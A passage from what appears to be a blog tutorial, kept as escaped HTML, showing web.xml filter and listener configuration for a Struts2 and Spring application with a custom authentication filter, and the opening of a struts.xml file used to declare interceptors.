&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;init-param&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;filter&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;filter-mapping&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;filter-name&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;AuthenticationFilter&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;filter-name&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;url-pattern&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;*.action&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;url-pattern&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;filter-mapping&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;filter-mapping&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;filter-name&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;struts2&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;filter-name&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;url-pattern&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;*.action&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;url-pattern&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;filter-mapping&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;context-param&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;param-name&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;contextConfigLocation&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;param-name&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;param-value&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;/WEB-INF/classes/resources/&lt;u&gt;config&lt;/u&gt;/SpringBeans.xml&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;param-value&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;context-param&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;listener&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;listener-class&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; org.springframework.web.context.ContextLoaderListener&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;listener-class&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;listener&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;web-app&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr&gt;
  &lt;td style=&quot;background: #A6A6A6; border: none; mso-background-themecolor: background1; mso-background-themeshade: 166; padding: 0cm 5.4pt 0cm 5.4pt; width: 478.8pt;&quot; valign=&quot;top&quot; width=&quot;638&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
We have defined one custom filter that we will use to handle each and every request that will be coming to our application. Secondly other then the struts built-in filter also using a ContextLoaderListener that will load&lt;br /&gt;
all the beans of Spring at the time of initialization.&lt;br /&gt;
&lt;br /&gt;
In StrutsPrepareAndExecuteFilter, we have mentioned a config param that will be showing that these files will only be loaded for struts configuration. Here people will get a bit confuse that why we are using configuration while Struts2 offer us a complete annotation based project setup (A.K.A Zero Configuration). Yes we are not going to use configuration for action classes but for interceptors we must need a configuration file that will initiate our interceptors at the time of context-loading.&lt;br /&gt;
&lt;br /&gt;
This is our struts.xml which will be used to declare the interceptors that will be used in our actions.&lt;br /&gt;
&lt;br /&gt;
&lt;table border=&quot;1&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;MsoTableGrid&quot; style=&quot;border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-padding-alt: 0cm 5.4pt 0cm 5.4pt; mso-yfti-tbllook: 1184;&quot;&gt;
 &lt;tbody&gt;
&lt;tr&gt;
  &lt;td style=&quot;background: #A6A6A6; border: none; mso-background-themecolor: background1; mso-background-themeshade: 166; padding: 0cm 5.4pt 0cm 5.4pt; width: 478.8pt;&quot; valign=&quot;top&quot; width=&quot;638&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;xml&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;version&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;1.0&quot;&lt;/span&gt;&lt;/i&gt;
  &lt;span style=&quot;color: #7f007f;&quot;&gt;encoding&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;UTF-8&quot;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;color: teal;&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;!&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;DOCTYPE&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: teal;&quot;&gt;struts&lt;/span&gt;
  &lt;span style=&quot;color: grey;&quot;&gt;PUBLIC&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: teal;&quot;&gt;&quot;-//Apache
  Software Foundation//DTD Struts Configuration 2.0//EN&quot;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: #3f7f5f;&quot;&gt;&quot;http://struts.apache.org/dtds/struts-2.0.dtd&quot;&lt;/span&gt;&lt;span style=&quot;color: teal;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;struts&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;constant&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;name&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;struts.devMode&quot;&lt;/span&gt;&lt;/i&gt;
